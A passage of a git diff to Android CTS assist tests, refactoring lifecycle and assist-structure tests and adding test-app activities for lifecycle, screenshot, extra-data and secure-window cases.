+        if (Utils.LIFECYCLE_NOUI.equals(args.getString(Utils.TESTCASE_TYPE, ""))) {
+            setUiEnabled(false);
+        } else  {
+            setUiEnabled(true);
+        }
+    }
+
+    @Override
     public void onShow(Bundle args, int showFlags) {
         if ((showFlags & SHOW_WITH_ASSIST) == 0) {
             return;
@@ -101,6 +110,7 @@
         mDisplayHeight = args.getInt(Utils.DISPLAY_HEIGHT_KEY);
         mDisplayWidth = args.getInt(Utils.DISPLAY_WIDTH_KEY);
         super.onShow(args, showFlags);
+        if (mContentView == null) return; // Happens when ui is not enabled.
         mContentView.getViewTreeObserver().addOnPreDrawListener(
                 new ViewTreeObserver.OnPreDrawListener() {
                 @Override
@@ -209,6 +219,7 @@
             Log.wtf(TAG, "layout inflater was null");
         }
         mContentView = f.inflate(R.layout.assist_layer,null);
+        Log.i(TAG, "onCreateContentView");
         return mContentView;
     }
 }
diff --git a/tests/tests/assist/src/android/assist/cts/AssistStructureTest.java b/tests/tests/assist/src/android/assist/cts/AssistStructureTest.java
index a34d09b..d2da516 100755
--- a/tests/tests/assist/src/android/assist/cts/AssistStructureTest.java
+++ b/tests/tests/assist/src/android/assist/cts/AssistStructureTest.java
@@ -17,12 +17,10 @@
 package android.assist.cts;
 
 import android.assist.common.Utils;
-
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
-import android.provider.Settings;
 import android.util.Log;
 
 import java.util.concurrent.CountDownLatch;
diff --git a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
index 05d655a..33a7758 100644
--- a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
+++ b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
@@ -16,42 +16,32 @@
 
 package android.assist.cts;
 
-import android.assist.cts.TestStartActivity;
-import android.assist.common.Utils;
-
 import android.app.ActivityManager;
 import android.app.assist.AssistContent;
 import android.app.assist.AssistStructure;
 import android.app.assist.AssistStructure.ViewNode;
-import android.app.assist.AssistStructure.WindowNode;
+import android.assist.common.Utils;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
-import android.content.res.Resources;
-import android.content.res.XmlResourceParser;
-import android.cts.util.SystemUtil;
 import android.graphics.Bitmap;
-import android.graphics.BitmapFactory;
-import android.graphics.Color;
 import android.graphics.Point;
-import android.graphics.Rect;
 import android.os.Bundle;
+import android.os.LocaleList;
 import android.provider.Settings;
 import android.test.ActivityInstrumentationTestCase2;
 import android.util.Log;
 import android.view.Display;
-import android.view.LayoutInflater;
 import android.view.View;
 import android.view.ViewGroup;
-import android.view.Window;
-import android.view.accessibility.AccessibilityNodeInfo;
 import android.webkit.WebView;
 import android.widget.EditText;
 import android.widget.TextView;
 
-import java.lang.Math;
+import com.android.compatibility.common.util.SystemUtil;
+
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
@@ -244,7 +234,6 @@
 
     /**
      * Verifies the view hierarchy of the backgroundApp matches the assist structure.
-     *
      * @param backgroundApp ComponentName of app the assistant is invoked upon
      * @param isSecureWindow Denotes whether the activity has FLAG_SECURE set
      */
@@ -252,7 +241,11 @@
         // Check component name matches
         assertEquals(backgroundApp.flattenToString(),
                 mAssistStructure.getActivityComponent().flattenToString());
-
+        long acquisitionStart = mAssistStructure.getAcquisitionStartTime();
+        long acquisitionEnd = mAssistStructure.getAcquisitionEndTime();
+        assertTrue(acquisitionStart > 0);
+        assertTrue(acquisitionEnd > 0);
+        assertTrue(acquisitionEnd >= acquisitionStart);
         Log.i(TAG, "Traversing down structure for: " + backgroundApp.flattenToString());
         mView = mTestActivity.findViewById(android.R.id.content).getRootView();
         verifyHierarchy(mAssistStructure, isSecureWindow);
@@ -389,11 +382,46 @@
     }
 
     /**
+     * Return true if the expected domain is found in the WebView, else fail.
+     */
+    protected void verifyAssistStructureHasWebDomain(String domain) {
+        assertTrue(traverse(mAssistStructure.getWindowNodeAt(0).getRootViewNode(), (n) -> {
+            return n.getWebDomain() != null && domain.equals(n.getWebDomain());
+        }));
+    }
+
+    /**
+     * Return true if the expected LocaleList is found in the WebView, else fail.
+     */
+    protected void verifyAssistStructureHasLocaleList(LocaleList localeList) {
+        assertTrue(traverse(mAssistStructure.getWindowNodeAt(0).getRootViewNode(), (n) -> {
+            return n.getLocaleList() != null && localeList.equals(n.getLocaleList());
+        }));
+    }
+
+    interface ViewNodeVisitor {
+        boolean visit(ViewNode node);
+    }
+
+    private boolean traverse(ViewNode parentNode, ViewNodeVisitor visitor) {
+        if (visitor.visit(parentNode)) {
+            return true;
+        }
+        for (int i = parentNode.getChildCount() - 1; i >= 0; i--) {
+            if (traverse(parentNode.getChildAt(i), visitor)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /**
      * Compare view properties of the view hierarchy with that reported in the assist structure.
      */
     private void verifyViewProperties(View parentView, ViewNode parentNode) {
         assertEquals("Left positions do not match.", parentView.getLeft(), parentNode.getLeft());
         assertEquals("Top positions do not match.", parentView.getTop(), parentNode.getTop());
+        assertEquals("Opaque flags do not match.", parentView.isOpaque(), parentNode.isOpaque());
 
         int viewId = parentView.getId();
 
@@ -421,9 +449,11 @@
         if (parentView instanceof TextView) {
             if (parentView instanceof EditText) {
                 assertEquals("Text selection start does not match",
-                    ((EditText)parentView).getSelectionStart(), parentNode.getTextSelectionStart());
+                        ((EditText) parentView).getSelectionStart(),
+                        parentNode.getTextSelectionStart());
                 assertEquals("Text selection end does not match",
-                        ((EditText)parentView).getSelectionEnd(), parentNode.getTextSelectionEnd());
+                        ((EditText) parentView).getSelectionEnd(),
+                        parentNode.getTextSelectionEnd());
             }
             TextView textView = (TextView) parentView;
             assertEquals(textView.getTextSize(), parentNode.getTextSize());
diff --git a/tests/tests/assist/src/android/assist/cts/AssistantContentViewTest.java b/tests/tests/assist/src/android/assist/cts/AssistantContentViewTest.java
index c6ac3a6..afbd4aa 100644
--- a/tests/tests/assist/src/android/assist/cts/AssistantContentViewTest.java
+++ b/tests/tests/assist/src/android/assist/cts/AssistantContentViewTest.java
@@ -16,25 +16,14 @@
 
 package android.assist.cts;
 
-import android.assist.cts.TestStartActivity;
 import android.assist.common.Utils;
-
-import android.app.Activity;
-import android.app.assist.AssistContent;
-import android.app.assist.AssistStructure;
 import android.content.BroadcastReceiver;
-import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
-import android.cts.util.SystemUtil;
 import android.graphics.Point;
-import android.os.Bundle;
-import android.provider.Settings;
-import android.test.ActivityInstrumentationTestCase2;
 import android.util.Log;
 
-import java.lang.Override;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
diff --git a/tests/tests/assist/src/android/assist/cts/DisableContextTest.java b/tests/tests/assist/src/android/assist/cts/DisableContextTest.java
index ea4cd3d..3c5a0fb 100644
--- a/tests/tests/assist/src/android/assist/cts/DisableContextTest.java
+++ b/tests/tests/assist/src/android/assist/cts/DisableContextTest.java
@@ -17,23 +17,9 @@
 package android.assist.cts;
 
 import android.assist.common.Utils;
-
-import android.app.Activity;
-import android.app.assist.AssistContent;
-import android.app.assist.AssistStructure;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.cts.util.SystemUtil;
-import android.os.Bundle;
-import android.provider.Settings;
-import android.test.ActivityInstrumentationTestCase2;
 import android.util.Log;
 
-import java.lang.Override;
-import java.util.concurrent.CountDownLatch;
+import com.android.compatibility.common.util.SystemUtil;
 
 /** Test we receive proper assist data when context is disabled or enabled */
 
diff --git a/tests/tests/assist/src/android/assist/cts/FocusChangeTest.java b/tests/tests/assist/src/android/assist/cts/FocusChangeTest.java
index 621361e..c0397d8 100644
--- a/tests/tests/assist/src/android/assist/cts/FocusChangeTest.java
+++ b/tests/tests/assist/src/android/assist/cts/FocusChangeTest.java
@@ -16,18 +16,13 @@
 
 package android.assist.cts;
 
-import android.assist.cts.TestStartActivity;
 import android.assist.common.Utils;
-
-import android.app.Activity;
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
-import android.test.ActivityInstrumentationTestCase2;
 import android.util.Log;
 
-import java.lang.Override;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
diff --git a/tests/tests/assist/src/android/assist/cts/LargeViewHierarchyTest.java b/tests/tests/assist/src/android/assist/cts/LargeViewHierarchyTest.java
index 25f36b7..3926091 100644
--- a/tests/tests/assist/src/android/assist/cts/LargeViewHierarchyTest.java
+++ b/tests/tests/assist/src/android/assist/cts/LargeViewHierarchyTest.java
@@ -17,12 +17,10 @@
 package android.assist.cts;
 
 import android.assist.common.Utils;
-
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
-import android.provider.Settings;
 import android.util.Log;
 
 import java.util.concurrent.CountDownLatch;
diff --git a/tests/tests/assist/src/android/assist/cts/LifecycleTest.java b/tests/tests/assist/src/android/assist/cts/LifecycleTest.java
index 3ed26d1..237fe6e 100644
--- a/tests/tests/assist/src/android/assist/cts/LifecycleTest.java
+++ b/tests/tests/assist/src/android/assist/cts/LifecycleTest.java
@@ -16,24 +16,13 @@
 
 package android.assist.cts;
 
-import android.assist.cts.TestStartActivity;
 import android.assist.common.Utils;
-
-import android.app.Activity;
-import android.app.assist.AssistContent;
-import android.app.assist.AssistStructure;
 import android.content.BroadcastReceiver;
-import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
-import android.cts.util.SystemUtil;
-import android.os.Bundle;
-import android.provider.Settings;
-import android.test.ActivityInstrumentationTestCase2;
 import android.util.Log;
 
-import java.lang.Override;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
@@ -42,6 +31,8 @@
 public class LifecycleTest extends AssistTestBase {
     private static final String TAG = "LifecycleTest";
     private static final String action_hasResumed = Utils.LIFECYCLE_HASRESUMED;
+    private static final String action_hasFocus = Utils.LIFECYCLE_HASFOCUS;
+    private static final String action_lostFocus = Utils.LIFECYCLE_LOSTFOCUS;
     private static final String action_onPause = Utils.LIFECYCLE_ONPAUSE;
     private static final String action_onStop = Utils.LIFECYCLE_ONSTOP;
     private static final String action_onDestroy = Utils.LIFECYCLE_ONDESTROY;
@@ -49,14 +40,34 @@
     private static final String TEST_CASE_TYPE = Utils.LIFECYCLE;
 
     private BroadcastReceiver mLifecycleTestBroadcastReceiver;
-    private CountDownLatch mHasResumedLatch = new CountDownLatch(1);
-    private CountDownLatch mActivityLifecycleLatch = new CountDownLatch(1);
-    private CountDownLatch mReadyLatch = new CountDownLatch(1);
+    private CountDownLatch mHasResumedLatch;
+    private CountDownLatch mHasFocusLatch;
+    private CountDownLatch mLostFocusLatch;
+    private CountDownLatch mActivityLifecycleLatch;
+    private CountDownLatch mDestroyLatch;
+    private CountDownLatch mReadyLatch;
+    private boolean mLostFocusIsLifecycle;
 
     @Override
     public void setUp() throws Exception {
         super.setUp();
-        setUpAndRegisterReceiver();
+        mLifecycleTestBroadcastReceiver = new LifecycleTestReceiver();
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(action_hasResumed);
+        filter.addAction(action_hasFocus);
+        filter.addAction(action_lostFocus);
+        filter.addAction(action_onPause);
+        filter.addAction(action_onStop);
+        filter.addAction(action_onDestroy);
+        filter.addAction(Utils.ASSIST_RECEIVER_REGISTERED);
+        mContext.registerReceiver(mLifecycleTestBroadcastReceiver, filter);
+        mHasResumedLatch = new CountDownLatch(1);
+        mHasFocusLatch = new CountDownLatch(1);
+        mLostFocusLatch = new CountDownLatch(1);
+        mActivityLifecycleLatch = new CountDownLatch(1);
+        mDestroyLatch = new CountDownLatch(1);
+        mReadyLatch = new CountDownLatch(1);
+        mLostFocusIsLifecycle = false;
         startTestActivity(TEST_CASE_TYPE);
     }
 
@@ -67,21 +78,12 @@
             mContext.unregisterReceiver(mLifecycleTestBroadcastReceiver);
             mLifecycleTestBroadcastReceiver = null;
         }
-    }
-
-    private void setUpAndRegisterReceiver() {
-        if (mLifecycleTestBroadcastReceiver != null) {
-            mContext.unregisterReceiver(mLifecycleTestBroadcastReceiver);
-        }
-        mLifecycleTestBroadcastReceiver = new LifecycleTestReceiver();
-        IntentFilter filter = new IntentFilter();
-        filter.addAction(action_hasResumed);
-        filter.addAction(action_onPause);
-        filter.addAction(action_onStop);
-        filter.addAction(action_onDestroy);
-        filter.addAction(Utils.ASSIST_RECEIVER_REGISTERED);
-        mContext.registerReceiver(mLifecycleTestBroadcastReceiver, filter);
-
+        mHasResumedLatch = null;
+        mHasFocusLatch = null;
+        mLostFocusLatch = null;
+        mActivityLifecycleLatch = null;
+        mDestroyLatch = null;
+        mReadyLatch = null;
     }
 
     private void waitForOnResume() throws Exception {
@@ -91,12 +93,33 @@
         }
     }
 
+    private void waitForHasFocus() throws Exception {
+        Log.i(TAG, "waiting for window focus gain before continuing");
+        if (!mHasFocusLatch.await(Utils.ACTIVITY_ONRESUME_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+            fail("Activity failed to get focus in " + Utils.ACTIVITY_ONRESUME_TIMEOUT_MS + "msec");
+        }
+    }
+
+    private void waitForLostFocus() throws Exception {
+        Log.i(TAG, "waiting for window focus lost before continuing");
+        if (!mLostFocusLatch.await(Utils.ACTIVITY_ONRESUME_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+            fail("Activity failed to lose focus in " + Utils.ACTIVITY_ONRESUME_TIMEOUT_MS + "msec");
+        }
+    }
+
     private void waitAndSeeIfLifecycleMethodsAreTriggered() throws Exception {
         if (mActivityLifecycleLatch.await(Utils.TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
             fail("One or more lifecycle methods were called after triggering assist");
         }
     }
 
+    private void waitForDestroy() throws Exception {
+        Log.i(TAG, "waiting for activity destroy before continuing");
+        if (!mDestroyLatch.await(Utils.ACTIVITY_ONRESUME_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+            fail("Activity failed to destroy in " + Utils.ACTIVITY_ONRESUME_TIMEOUT_MS + "msec");
+        }
+    }
+
     public void testLayerDoesNotTriggerLifecycleMethods() throws Exception {
         if (mActivityManager.isLowRamDevice()) {
             Log.d(TAG, "Not running assist tests on low-RAM device.");
@@ -106,9 +129,37 @@
         waitForAssistantToBeReady(mReadyLatch);
         mTestActivity.start3pApp(Utils.LIFECYCLE);
         waitForOnResume();
+        waitForHasFocus();
         startSession();
         waitForContext();
+        // Since there is no UI, focus should not be lost.  We are counting focus lost as
+        // a lifecycle event in this case.
+        // Do this after waitForContext(), since we don't start looking for context until
+        // calling the above (RACY!!!).
+        waitForLostFocus();
         waitAndSeeIfLifecycleMethodsAreTriggered();
+        mContext.sendBroadcast(new Intent(Utils.HIDE_LIFECYCLE_ACTIVITY));
+        waitForDestroy();
+    }
+
+    public void testNoUiLayerDoesNotTriggerLifecycleMethods() throws Exception {
+        if (mActivityManager.isLowRamDevice()) {
+            Log.d(TAG, "Not running assist tests on low-RAM device.");
+            return;
+        }
+        mLostFocusIsLifecycle = true;
+        mTestActivity.startTest(Utils.LIFECYCLE_NOUI);
+        waitForAssistantToBeReady(mReadyLatch);
+        mTestActivity.start3pApp(Utils.LIFECYCLE_NOUI);
+        waitForOnResume();
+        waitForHasFocus();
+        startSession();
+        waitForContext();
+        // Do this after waitForContext(), since we don't start looking for context until
+        // calling the above (RACY!!!).
+        waitAndSeeIfLifecycleMethodsAreTriggered();
+        mContext.sendBroadcast(new Intent(Utils.HIDE_LIFECYCLE_ACTIVITY));
+        waitForDestroy();
     }
 
     private class LifecycleTestReceiver extends BroadcastReceiver {
@@ -117,12 +168,21 @@
             String action = intent.getAction();
             if (action.equals(action_hasResumed) && mHasResumedLatch != null) {
                 mHasResumedLatch.countDown();
+            } else if (action.equals(action_hasFocus) && mHasFocusLatch != null) {
+                mHasFocusLatch.countDown();
+            } else if (action.equals(action_lostFocus) && mLostFocusLatch != null) {
+                if (mLostFocusIsLifecycle) {
+                    mActivityLifecycleLatch.countDown();
+                } else {
+                    mLostFocusLatch.countDown();
+                }
             } else if (action.equals(action_onPause) && mActivityLifecycleLatch != null) {
                 mActivityLifecycleLatch.countDown();
             } else if (action.equals(action_onStop) && mActivityLifecycleLatch != null) {
                 mActivityLifecycleLatch.countDown();
             } else if (action.equals(action_onDestroy) && mActivityLifecycleLatch != null) {
                 mActivityLifecycleLatch.countDown();
+                mDestroyLatch.countDown();
             } else if (action.equals(Utils.ASSIST_RECEIVER_REGISTERED)) {
                 if (mReadyLatch != null) {
                     mReadyLatch.countDown();
diff --git a/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java b/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java
index b84e334..9835689 100644
--- a/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java
+++ b/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java
@@ -17,20 +17,14 @@
 package android.assist.cts;
 
 import android.assist.common.Utils;
-
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
-import android.database.DatabaseUtils;
 import android.graphics.Color;
 import android.os.Bundle;
 import android.util.Log;
 
-import junit.framework.Test;
-
-import java.lang.Exception;
-import java.lang.Override;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
diff --git a/tests/tests/assist/src/android/assist/cts/TestStartActivity.java b/tests/tests/assist/src/android/assist/cts/TestStartActivity.java
index e54e774..acc0291 100644
--- a/tests/tests/assist/src/android/assist/cts/TestStartActivity.java
+++ b/tests/tests/assist/src/android/assist/cts/TestStartActivity.java
@@ -16,26 +16,19 @@
 
 package android.assist.cts;
 
-import android.assist.common.Utils;
-
 import android.app.Activity;
-import android.app.assist.AssistStructure;
-import android.app.assist.AssistStructure.ViewNode;
-import android.content.Intent;
+import android.assist.common.Utils;
 import android.content.ComponentName;
+import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.os.Bundle;
 import android.util.Log;
 import android.view.View;
-import android.view.ViewGroup;
-import android.view.Window;
 import android.webkit.WebView;
 import android.webkit.WebViewClient;
 import android.widget.ScrollView;
 import android.widget.TextView;
 
-import java.lang.Override;
-
 public class TestStartActivity extends Activity {
     static final String TAG = "TestStartActivity";
 
diff --git a/tests/tests/assist/src/android/assist/cts/TextViewTest.java b/tests/tests/assist/src/android/assist/cts/TextViewTest.java
index 089993d..8b36d54 100644
--- a/tests/tests/assist/src/android/assist/cts/TextViewTest.java
+++ b/tests/tests/assist/src/android/assist/cts/TextViewTest.java
@@ -17,12 +17,10 @@
 package android.assist.cts;
 
 import android.assist.common.Utils;
-
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
-import android.provider.Settings;
 import android.util.Log;
 
 import java.util.concurrent.CountDownLatch;
diff --git a/tests/tests/assist/src/android/assist/cts/WebViewTest.java b/tests/tests/assist/src/android/assist/cts/WebViewTest.java
index 4e05494..18ca0c0 100644
--- a/tests/tests/assist/src/android/assist/cts/WebViewTest.java
+++ b/tests/tests/assist/src/android/assist/cts/WebViewTest.java
@@ -17,13 +17,12 @@
 package android.assist.cts;
 
 import android.assist.common.Utils;
-
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.content.pm.PackageManager;
-import android.provider.Settings;
+import android.os.LocaleList;
 import android.util.Log;
 
 import java.util.concurrent.CountDownLatch;
@@ -107,6 +106,8 @@
         verifyAssistDataNullness(false, false, false, false);
         verifyAssistStructure(Utils.getTestAppComponent(TEST_CASE_TYPE),
                 false /*FLAG_SECURE set*/);
+        verifyAssistStructureHasWebDomain(Utils.WEBVIEW_HTML_DOMAIN);
+        verifyAssistStructureHasLocaleList(Utils.WEBVIEW_LOCALE_LIST);
     }
 
     private class WebViewTestBroadcastReceiver extends BroadcastReceiver {
diff --git a/tests/tests/assist/testapp/res/layout/multiple_text_views.xml b/tests/tests/assist/testapp/res/layout/multiple_text_views.xml
index 455d5e3..801405a 100644
--- a/tests/tests/assist/testapp/res/layout/multiple_text_views.xml
+++ b/tests/tests/assist/testapp/res/layout/multiple_text_views.xml
@@ -67,6 +67,7 @@
     android:text="@string/text_too_large_to_fit" />
 
   <ScrollView
+    android:background="#80000000"
     android:layout_width="wrap_content"
     android:layout_height="wrap_content"
     android:layout_weight="1">
diff --git a/tests/tests/assist/testapp/res/layout/text_view.xml b/tests/tests/assist/testapp/res/layout/text_view.xml
index 0f0f427..ac62543 100644
--- a/tests/tests/assist/testapp/res/layout/text_view.xml
+++ b/tests/tests/assist/testapp/res/layout/text_view.xml
@@ -36,6 +36,7 @@
         <TextView
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
+            android:background="#80000000"
             android:scrollbars="vertical"
             android:text="@string/text_too_large_to_fit" />
     </ScrollView>
diff --git a/tests/tests/assist/testapp/res/layout/webview.xml b/tests/tests/assist/testapp/res/layout/webview.xml
index bdb8082..ccd5e73 100644
--- a/tests/tests/assist/testapp/res/layout/webview.xml
+++ b/tests/tests/assist/testapp/res/layout/webview.xml
@@ -17,9 +17,9 @@
     android:layout_width="match_parent"
     android:layout_height="match_parent"
     android:orientation="vertical">
-    <WebView
+    <android.assist.common.MyWebView
         android:id="@+id/webview"
         android:layout_width="match_parent"
         android:layout_height="match_parent">
-    </WebView>
+    </android.assist.common.MyWebView>
 </LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/assist/testapp/src/android/assist/testapp/ExtraAssistDataActivity.java b/tests/tests/assist/testapp/src/android/assist/testapp/ExtraAssistDataActivity.java
new file mode 100644
index 0000000..0cb8801
--- /dev/null
+++ b/tests/tests/assist/testapp/src/android/assist/testapp/ExtraAssistDataActivity.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.assist.testapp;
+
+import android.app.Activity;
+import android.app.assist.AssistContent;
+import android.assist.common.Utils;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+
+/**
+ * Test the onProvideAssistData and onProvideAssistContent methods activities may override to
+ * provide extra information to the assistant. Verify that the data passed from the activity matches
+ * the data received in {@link android.service.voice.VoiceInteractionSession}.
+ */
+public class ExtraAssistDataActivity extends Activity {
+    private static final String TAG = "ExtraAssistDataActivity";
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+    }
+
+    @Override
+    public void onProvideAssistData(Bundle data) {
+        super.onProvideAssistData(data);
+        Log.i(TAG, "onProvideAssistData");
+        Utils.addExtraAssistDataToBundle(data);
+    }
+
+    @Override
+    public void onProvideAssistContent(AssistContent outContent) {
+        super.onProvideAssistContent(outContent);
+        Log.i(TAG, "onProvideAssistContent");
+        try {
+            outContent.setStructuredData(Utils.getStructuredJSON());
+        } catch (Exception e) {
+            Log.i(TAG, "Failed to get Structured JSON to put into the AssistContent.");
+        }
+    }
+
+    @Override
+    public void onResume() {
+        super.onResume();
+        sendBroadcast(new Intent(Utils.APP_3P_HASRESUMED));
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/assist/testapp/src/android/voiceinteraction/testapp/FocusChangeActivity.java b/tests/tests/assist/testapp/src/android/assist/testapp/FocusChangeActivity.java
similarity index 100%
rename from tests/tests/assist/testapp/src/android/voiceinteraction/testapp/FocusChangeActivity.java
rename to tests/tests/assist/testapp/src/android/assist/testapp/FocusChangeActivity.java
diff --git a/tests/tests/assist/testapp/src/android/assist/testapp/LifecycleActivity.java b/tests/tests/assist/testapp/src/android/assist/testapp/LifecycleActivity.java
new file mode 100644
index 0000000..0602d3f
--- /dev/null
+++ b/tests/tests/assist/testapp/src/android/assist/testapp/LifecycleActivity.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.assist.testapp;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.util.Log;
+
+public class LifecycleActivity extends Activity {
+    private static final String TAG = "LifecycleActivity";
+
+    private BroadcastReceiver mReceiver;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        Log.i(TAG, "LifecycleActivity created");
+        mReceiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                String action = intent.getAction();
+                if (action.equals("android.intent.action.hide_lifecycle_activity")) {
+                    finish();
+                }
+            }
+        };
+        IntentFilter filter = new IntentFilter();
+        filter.addAction("android.intent.action.hide_lifecycle_activity");
+        registerReceiver(mReceiver, filter);
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        Log.i(TAG, "Activity has resumed");
+        sendBroadcast(new Intent("android.intent.action.lifecycle_hasResumed"));
+    }
+
+    @Override
+    public void onWindowFocusChanged(boolean hasFocus) {
+        super.onWindowFocusChanged(hasFocus);
+        Log.i(TAG, "Activity focus changed: " + hasFocus);
+        if (hasFocus) {
+            sendBroadcast(new Intent("android.intent.action.lifecycle_hasFocus"));
+        } else {
+            sendBroadcast(new Intent("android.intent.action.lifecycle_lostFocus"));
+        }
+    }
+
+    @Override
+    protected void onPause() {
+        Log.i(TAG, "activity was paused");
+        sendBroadcast(new Intent("android.intent.action.lifecycle_onpause"));
+        super.onPause();
+    }
+
+    @Override
+    protected void onStop() {
+        Log.i(TAG, "activity was stopped");
+        sendBroadcast(new Intent("android.intent.action.lifecycle_onstop"));
+        super.onStop();
+    }
+
+    @Override
+    protected void onDestroy() {
+        Log.i(TAG, "activity was destroyed");
+        sendBroadcast(new Intent("android.intent.action.lifecycle_ondestroy"));
+        unregisterReceiver(mReceiver);
+        super.onDestroy();
+    }
+}
diff --git a/tests/tests/assist/testapp/src/android/assist/testapp/ScreenshotActivity.java b/tests/tests/assist/testapp/src/android/assist/testapp/ScreenshotActivity.java
new file mode 100644
index 0000000..fb08e77
--- /dev/null
+++ b/tests/tests/assist/testapp/src/android/assist/testapp/ScreenshotActivity.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.assist.testapp;
+
+import android.app.Activity;
+import android.assist.common.Utils;
+import android.content.Intent;
+import android.graphics.Color;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.View;
+
+public class ScreenshotActivity extends Activity {
+    static final String TAG = "ScreenshotActivity";
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        Log.i(TAG, "ScreenshotActivity created");
+        setContentView(R.layout.screenshot_activity);
+    }
+
+    @Override
+    public void onResume() {
+        Log.i(TAG, " in onResume");
+        super.onResume();
+        int backgroundColor = getIntent().getIntExtra(Utils.SCREENSHOT_COLOR_KEY, Color.WHITE);
+        View view = findViewById(R.id.screenshot_activity);
+        view.setBackgroundColor(backgroundColor);
+        view.requestLayout();
+
+        // Tell service activity is in foreground.
+        Intent intent = new Intent(Utils.APP_3P_HASRESUMED);
+        sendBroadcast(intent);
+        Log.i(TAG, "Resumed broadcast sent.");
+    }
+
+    @Override
+    public void onPause() {
+        Log.i(TAG, "onPause");
+        finish();
+        super.onPause();
+    }
+}
diff --git a/tests/tests/assist/testapp/src/android/assist/testapp/SecureActivity.java b/tests/tests/assist/testapp/src/android/assist/testapp/SecureActivity.java
new file mode 100644
index 0000000..0f812b7
--- /dev/null
+++ b/tests/tests/assist/testapp/src/android/assist/testapp/SecureActivity.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.assist.testapp;
+
+import android.app.Activity;
+import android.assist.common.Utils;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.View;
+import android.view.ViewTreeObserver;
